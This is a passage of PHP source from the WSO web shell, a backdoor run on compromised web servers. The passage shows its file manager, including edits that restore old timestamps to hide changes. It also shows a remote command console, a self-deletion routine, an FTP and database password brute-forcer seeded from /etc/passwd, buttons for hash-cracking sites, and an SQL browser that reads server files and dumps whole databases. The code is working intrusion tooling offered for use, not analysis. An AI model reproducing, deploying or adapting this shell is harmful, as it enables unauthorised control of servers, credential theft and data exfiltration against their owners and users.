691 $files[] = array_merge($tmp, array('type' => 'file'));
692 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
693 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
694 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
695 $dirs[] = array_merge($tmp, array('type' => 'dir'));
696 }
697 $GLOBALS['sort'] = $sort;
698 function wsoCmp($a, $b) {
699 if($GLOBALS['sort'][0] != 'size')
700 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
701 else
702 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
703 }
704 usort($files, "wsoCmp");
705 usort($dirs, "wsoCmp");
706 $files = array_merge($dirs, $files);
707 $l = 0;
708 foreach($files as $f) {
709 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
710 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
711 $l = $l?0:1;
712 }
713 echo "<tr><td colspan=7>
714 <input type=hidden name=a value='FilesMan'>
715 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
716 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
717 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
718 if(class_exists('ZipArchive'))
719 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
720 echo "<option value='tar'>Compress (tar.gz)</option>";
721 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
722 echo "<option value='paste'>Paste / Compress</option>";
723 echo "</select> ";
724 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
725 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
726 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
727 wsoFooter();
728}
729
730function actionStringTools() {
731 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
732 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
733 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
734 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
735 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
736 $stringTools = array(
737 'Base64 encode' => 'base64_encode',
738 'Base64 decode' => 'base64_decode',
739 'Url encode' => 'urlencode',
740 'Url decode' => 'urldecode',
741 'Full urlencode' => 'full_urlencode',
742 'md5 hash' => 'md5',
743 'sha1 hash' => 'sha1',
744 'crypt' => 'crypt',
745 'CRC32' => 'crc32',
746 'ASCII to HEX' => 'ascii2hex',
747 'HEX to ASCII' => 'hex2ascii',
748 'HEX to DEC' => 'hexdec',
749 'HEX to BIN' => 'hex2bin',
750 'DEC to HEX' => 'dechex',
751 'DEC to BIN' => 'decbin',
752 'BIN to HEX' => 'binhex',
753 'BIN to DEC' => 'bindec',
754 'String to lower case' => 'strtolower',
755 'String to upper case' => 'strtoupper',
756 'Htmlspecialchars' => 'htmlspecialchars',
757 'String length' => 'strlen',
758 );
759 if(isset($_POST['ajax'])) {
760 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
761 ob_start();
762 if(in_array($_POST['p1'], $stringTools))
763 echo $_POST['p1']($_POST['p2']);
764 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
765 echo strlen($temp), "\n", $temp;
766 exit;
767 }
768 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
769 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
770 wsoHeader();
771 echo '<h1>String conversions</h1><div class=content>';
772 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
773 foreach($stringTools as $k => $v)
774 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
775 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
776 if(!empty($_POST['p1'])) {
777 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
778 }
779 echo"</pre></div><br><h1>Search files:</h1><div class=content>
780 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
781 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
782 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
783 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
784 <tr><td></td><td><input type='submit' value='>>'></td></tr>
785 </table></form>";
786
787 function wsoRecursiveGlob($path) {
788 if(substr($path, -1) != '/')
789 $path.='/';
790 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
791 if(is_array($paths)&&@count($paths)) {
792 foreach($paths as $item) {
793 if(@is_dir($item)){
794 if($path!=$item)
795 wsoRecursiveGlob($item);
796 } else {
797 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
798 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
799 }
800 }
801 }
802 }
803 if(@$_POST['p3'])
804 wsoRecursiveGlob($_POST['c']);
805 echo "</div><br><h1>Search for hash:</h1><div class=content>
806 <form method='post' target='_blank' name='hf'>
807 <input type='text' name='hash' style='width:200px;'><br>
808 <input type='hidden' name='act' value='find'/>
809 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
810 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
811 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
812 </form></div>";
813 wsoFooter();
814}
815
816function actionFilesTools() {
817 if( isset($_POST['p1']) )
818 $_POST['p1'] = urldecode($_POST['p1']);
819 if(@$_POST['p2']=='download') {
820 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
821 ob_start("ob_gzhandler", 4096);
822 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
823 if (function_exists("mime_content_type")) {
824 $type = @mime_content_type($_POST['p1']);
825 header("Content-Type: " . $type);
826 } else
827 header("Content-Type: application/octet-stream");
828 $fp = @fopen($_POST['p1'], "r");
829 if($fp) {
830 while(!@feof($fp))
831 echo @fread($fp, 1024);
832 fclose($fp);
833 }
834 }exit;
835 }
836 if( @$_POST['p2'] == 'mkfile' ) {
837 if(!file_exists($_POST['p1'])) {
838 $fp = @fopen($_POST['p1'], 'w');
839 if($fp) {
840 $_POST['p2'] = "edit";
841 fclose($fp);
842 }
843 }
844 }
845 wsoHeader();
846 echo '<h1>File tools</h1><div class=content>';
847 if( !file_exists(@$_POST['p1']) ) {
848 echo 'File not exists';
849 wsoFooter();
850 return;
851 }
852 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
853 if(!$uid) {
854 $uid['name'] = @fileowner($_POST['p1']);
855 $gid['name'] = @filegroup($_POST['p1']);
856 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
857 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
858 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
859 if( empty($_POST['p2']) )
860 $_POST['p2'] = 'view';
861 if( is_file($_POST['p1']) )
862 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
863 else
864 $m = array('Chmod', 'Rename', 'Touch');
865 foreach($m as $v)
866 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
867 echo '<br><br>';
868 switch($_POST['p2']) {
869 case 'view':
870 echo '<pre class=ml1>';
871 $fp = @fopen($_POST['p1'], 'r');
872 if($fp) {
873 while( !@feof($fp) )
874 echo htmlspecialchars(@fread($fp, 1024));
875 @fclose($fp);
876 }
877 echo '</pre>';
878 break;
879 case 'highlight':
880 if( @is_readable($_POST['p1']) ) {
881 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
882 $code = @highlight_file($_POST['p1'],true);
883 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
884 }
885 break;
886 case 'chmod':
887 if( !empty($_POST['p3']) ) {
888 $perms = 0;
889 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
890 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
891 if(!@chmod($_POST['p1'], $perms))
892 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
893 }
894 clearstatcache();
895 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
896 break;
897 case 'edit':
898 if( !is_writable($_POST['p1'])) {
899 echo 'File isn\'t writeable';
900 break;
901 }
902 if( !empty($_POST['p3']) ) {
903 $time = @filemtime($_POST['p1']);
904 $_POST['p3'] = substr($_POST['p3'],1);
905 $fp = @fopen($_POST['p1'],"w");
906 if($fp) {
907 @fwrite($fp,$_POST['p3']);
908 @fclose($fp);
909 echo 'Saved!<br><script>p3_="";</script>';
910 @touch($_POST['p1'],$time,$time);
911 }
912 }
913 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
914 $fp = @fopen($_POST['p1'], 'r');
915 if($fp) {
916 while( !@feof($fp) )
917 echo htmlspecialchars(@fread($fp, 1024));
918 @fclose($fp);
919 }
920 echo '</textarea><input type=submit value=">>"></form>';
921 break;
922 case 'hexdump':
923 $c = @file_get_contents($_POST['p1']);
924 $n = 0;
925 $h = array('00000000<br>','','');
926 $len = strlen($c);
927 for ($i=0; $i<$len; ++$i) {
928 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
929 switch ( ord($c[$i]) ) {
930 case 0: $h[2] .= ' '; break;
931 case 9: $h[2] .= ' '; break;
932 case 10: $h[2] .= ' '; break;
933 case 13: $h[2] .= ' '; break;
934 default: $h[2] .= $c[$i]; break;
935 }
936 $n++;
937 if ($n == 32) {
938 $n = 0;
939 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
940 $h[1] .= '<br>';
941 $h[2] .= "\n";
942 }
943 }
944 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
945 break;
946 case 'rename':
947 if( !empty($_POST['p3']) ) {
948 if(!@rename($_POST['p1'], $_POST['p3']))
949 echo 'Can\'t rename!<br>';
950 else
951 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
952 }
953 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
954 break;
955 case 'touch':
956 if( !empty($_POST['p3']) ) {
957 $time = strtotime($_POST['p3']);
958 if($time) {
959 if(!touch($_POST['p1'],$time,$time))
960 echo 'Fail!';
961 else
962 echo 'Touched!';
963 } else echo 'Bad time format!';
964 }
965 clearstatcache();
966 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
967 break;
968 }
969 echo '</div>';
970 wsoFooter();
971}
972
973function actionConsole() {
974 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
975 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
976 $_POST['p1'] .= ' 2>&1';
977 } elseif(!empty($_POST['p1']))
978 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
979
980 if(isset($_POST['ajax'])) {
981 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
982 ob_start();
983 echo "d.cf.cmd.value='';\n";
984 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
985 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
986 if(@chdir($match[1])) {
987 $GLOBALS['cwd'] = @getcwd();
988 echo "c_='".$GLOBALS['cwd']."';";
989 }
990 }
991 echo "d.cf.output.value+='".$temp."';";
992 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
993 $temp = ob_get_clean();
994 echo strlen($temp), "\n", $temp;
995 exit;
996 }
997 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
998 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
999 wsoHeader();
1000 echo "<script>
1001if(window.Event) window.captureEvents(Event.KEYDOWN);
1002var cmds = new Array('');
1003var cur = 0;
1004function kp(e) {
1005 var n = (window.Event) ? e.which : e.keyCode;
1006 if(n == 38) {
1007 cur--;
1008 if(cur>=0)
1009 document.cf.cmd.value = cmds[cur];
1010 else
1011 cur++;
1012 } else if(n == 40) {
1013 cur++;
1014 if(cur < cmds.length)
1015 document.cf.cmd.value = cmds[cur];
1016 else
1017 cur--;
1018 }
1019}
1020function add(cmd) {
1021 cmds.pop();
1022 cmds.push(cmd);
1023 cmds.push('');
1024 cur = cmds.length-1;
1025}
1026</script>";
1027 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1028 foreach($GLOBALS['aliases'] as $n => $v) {
1029 if($v == '') {
1030 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1031 continue;
1032 }
1033 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1034 }
1035
1036 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1037 if(!empty($_POST['p1'])) {
1038 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1039 }
1040 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1041 echo '</form></div><script>d.cf.cmd.focus();</script>';
1042 wsoFooter();
1043}
1044
1045function actionLogout() {
1046 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1047 die('bye!');
1048}
1049
1050function actionSelfRemove() {
1051
1052 if($_POST['p1'] == 'yes')
1053 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1054 die('Shell has been removed');
1055 else
1056 echo 'unlink error!';
1057 if($_POST['p1'] != 'yes')
1058 wsoHeader();
1059 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1060 wsoFooter();
1061}
1062
1063function actionBruteforce() {
1064 wsoHeader();
1065 if( isset($_POST['proto']) ) {
1066 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1067 if( $_POST['proto'] == 'ftp' ) {
1068 function wsoBruteForce($ip,$port,$login,$pass) {
1069 $fp = @ftp_connect($ip, $port?$port:21);
1070 if(!$fp) return false;
1071 $res = @ftp_login($fp, $login, $pass);
1072 @ftp_close($fp);
1073 return $res;
1074 }
1075 } elseif( $_POST['proto'] == 'mysql' ) {
1076 function wsoBruteForce($ip,$port,$login,$pass) {
1077 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1078 @mysql_close($res);
1079 return $res;
1080 }
1081 } elseif( $_POST['proto'] == 'pgsql' ) {
1082 function wsoBruteForce($ip,$port,$login,$pass) {
1083 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1084 $res = @pg_connect($str);
1085 @pg_close($res);
1086 return $res;
1087 }
1088 }
1089 $success = 0;
1090 $attempts = 0;
1091 $server = explode(":", $_POST['server']);
1092 if($_POST['type'] == 1) {
1093 $temp = @file('/etc/passwd');
1094 if( is_array($temp) )
1095 foreach($temp as $line) {
1096 $line = explode(":", $line);
1097 ++$attempts;
1098 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1099 $success++;
1100 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1101 }
1102 if(@$_POST['reverse']) {
1103 $tmp = "";
1104 for($i=strlen($line[0])-1; $i>=0; --$i)
1105 $tmp .= $line[0][$i];
1106 ++$attempts;
1107 if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1108 $success++;
1109 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1110 }
1111 }
1112 }
1113 } elseif($_POST['type'] == 2) {
1114 $temp = @file($_POST['dict']);
1115 if( is_array($temp) )
1116 foreach($temp as $line) {
1117 $line = trim($line);
1118 ++$attempts;
1119 if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1120 $success++;
1121 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1122 }
1123 }
1124 }
1125 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1126 }
1127 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1128 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1129 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1130 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1131 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1132 .'<span>Server:port</span></td>'
1133 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1134 .'<tr><td><span>Brute type</span></td>'
1135 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1136 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1137 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1138 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1139 .'<td><input type=text name=login value="root"></td></tr>'
1140 .'<tr><td><span>Dictionary</span></td>'
1141 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1142 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1143 echo '</div><br>';
1144 wsoFooter();
1145}
1146
1147function actionSql() {
1148 class DbClass {
1149 var $type;
1150 var $link;
1151 var $res;
1152 function DbClass($type) {
1153 $this->type = $type;
1154 }
1155 function connect($host, $user, $pass, $dbname){
1156 switch($this->type) {
1157 case 'mysql':
1158 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1159 break;
1160 case 'pgsql':
1161 $host = explode(':', $host);
1162 if(!$host[1]) $host[1]=5432;
1163 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1164 break;
1165 }
1166 return false;
1167 }
1168 function selectdb($db) {
1169 switch($this->type) {
1170 case 'mysql':
1171 if (@mysql_select_db($db))return true;
1172 break;
1173 }
1174 return false;
1175 }
1176 function query($str) {
1177 switch($this->type) {
1178 case 'mysql':
1179 return $this->res = @mysql_query($str);
1180 break;
1181 case 'pgsql':
1182 return $this->res = @pg_query($this->link,$str);
1183 break;
1184 }
1185 return false;
1186 }
1187 function fetch() {
1188 $res = func_num_args()?func_get_arg(0):$this->res;
1189 switch($this->type) {
1190 case 'mysql':
1191 return @mysql_fetch_assoc($res);
1192 break;
1193 case 'pgsql':
1194 return @pg_fetch_assoc($res);
1195 break;
1196 }
1197 return false;
1198 }
1199 function listDbs() {
1200 switch($this->type) {
1201 case 'mysql':
1202 return $this->query("SHOW databases");
1203 break;
1204 case 'pgsql':
1205 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1206 break;
1207 }
1208 return false;
1209 }
1210 function listTables() {
1211 switch($this->type) {
1212 case 'mysql':
1213 return $this->res = $this->query('SHOW TABLES');
1214 break;
1215 case 'pgsql':
1216 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1217 break;
1218 }
1219 return false;
1220 }
1221 function error() {
1222 switch($this->type) {
1223 case 'mysql':
1224 return @mysql_error();
1225 break;
1226 case 'pgsql':
1227 return @pg_last_error();
1228 break;
1229 }
1230 return false;
1231 }
1232 function setCharset($str) {
1233 switch($this->type) {
1234 case 'mysql':
1235 if(function_exists('mysql_set_charset'))
1236 return @mysql_set_charset($str, $this->link);
1237 else
1238 $this->query('SET CHARSET '.$str);
1239 break;
1240 case 'pgsql':
1241 return @pg_set_client_encoding($this->link, $str);
1242 break;
1243 }
1244 return false;
1245 }
1246 function loadFile($str) {
1247 switch($this->type) {
1248 case 'mysql':
1249 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1250 break;
1251 case 'pgsql':
1252 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1253 $r=array();
1254 while($i=$this->fetch())
1255 $r[] = $i['file'];
1256 $this->query('drop table wso2');
1257 return array('file'=>implode("\n",$r));
1258 break;
1259 }
1260 return false;
1261 }
1262 function dump($table, $fp = false) {
1263 switch($this->type) {
1264 case 'mysql':
1265 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1266 $create = mysql_fetch_array($res);
1267 $sql = $create[1].";\n";
1268 if($fp) fwrite($fp, $sql); else echo($sql);
1269 $this->query('SELECT * FROM `'.$table.'`');
1270 $i = 0;
1271 $head = true;
1272 while($item = $this->fetch()) {
1273 $sql = '';
1274 if($i % 1000 == 0) {
1275 $head = true;
1276 $sql = ";\n\n";
1277 }
1278
1279 $columns = array();
1280 foreach($item as $k=>$v) {
1281 if($v === null)
1282 $item[$k] = "NULL";
1283 elseif(is_int($v))
1284 $item[$k] = $v;
1285 else
1286 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1287 $columns[] = "`".$k."`";
1288 }
1289 if($head) {
1290 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1291 $head = false;
1292 } else
1293 $sql .= "\n\t,(".implode(", ", $item).')';
1294 if($fp) fwrite($fp, $sql); else echo($sql);
1295 $i++;
1296 }
1297 if(!$head)
1298 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1299 break;
1300 case 'pgsql':
1301 $this->query('SELECT * FROM '.$table);
1302 while($item = $this->fetch()) {
1303 $columns = array();
1304 foreach($item as $k=>$v) {
1305 $item[$k] = "'".addslashes($v)."'";
1306 $columns[] = $k;
1307 }
1308 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1309 if($fp) fwrite($fp, $sql); else echo($sql);
1310 }
1311 break;
1312 }
1313 return false;
1314 }
1315 };
1316 $db = new DbClass($_POST['type']);
1317 if(@$_POST['p2']=='download') {
1318 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1319 $db->selectdb($_POST['sql_base']);
1320 switch($_POST['charset']) {
1321 case "Windows-1251": $db->setCharset('cp1251'); break;
1322 case "UTF-8": $db->setCharset('utf8'); break;
1323 case "KOI8-R": $db->setCharset('koi8r'); break;
1324 case "KOI8-U": $db->setCharset('koi8u'); break;
1325 case "cp866": $db->setCharset('cp866'); break;
1326 }
1327 if(empty($_POST['file'])) {
1328 ob_start("ob_gzhandler", 4096);
1329 header("Content-Disposition: attachment; filename=dump.sql");
1330 header("Content-Type: text/plain");
1331 foreach($_POST['tbl'] as $v)
1332 $db->dump($v);
1333 exit;
1334 } elseif($fp = @fopen($_POST['file'], 'w')) {
1335 foreach($_POST['tbl'] as $v)
1336 $db->dump($v, $fp);
1337 fclose($fp);
1338 unset($_POST['p2']);
1339 } else
1340 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1341 }
1342 wsoHeader();
1343 echo "
1344<h1>Sql browser</h1><div class=content>
1345<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1346<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1347<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1348<td><select name='type'><option value='mysql' ";
1349 if(@$_POST['type']=='mysql')echo 'selected';
1350echo ">MySql</option><option value='pgsql' ";
1351if(@$_POST['type']=='pgsql')echo 'selected';
1352echo ">PostgreSql</option></select></td>
1353<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1354<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1355<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1356 $tmp = "<input type=text name=sql_base value=''>";
1357 if(isset($_POST['sql_host'])){
1358 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1359 switch($_POST['charset']) {
1360 case "Windows-1251": $db->setCharset('cp1251'); break;
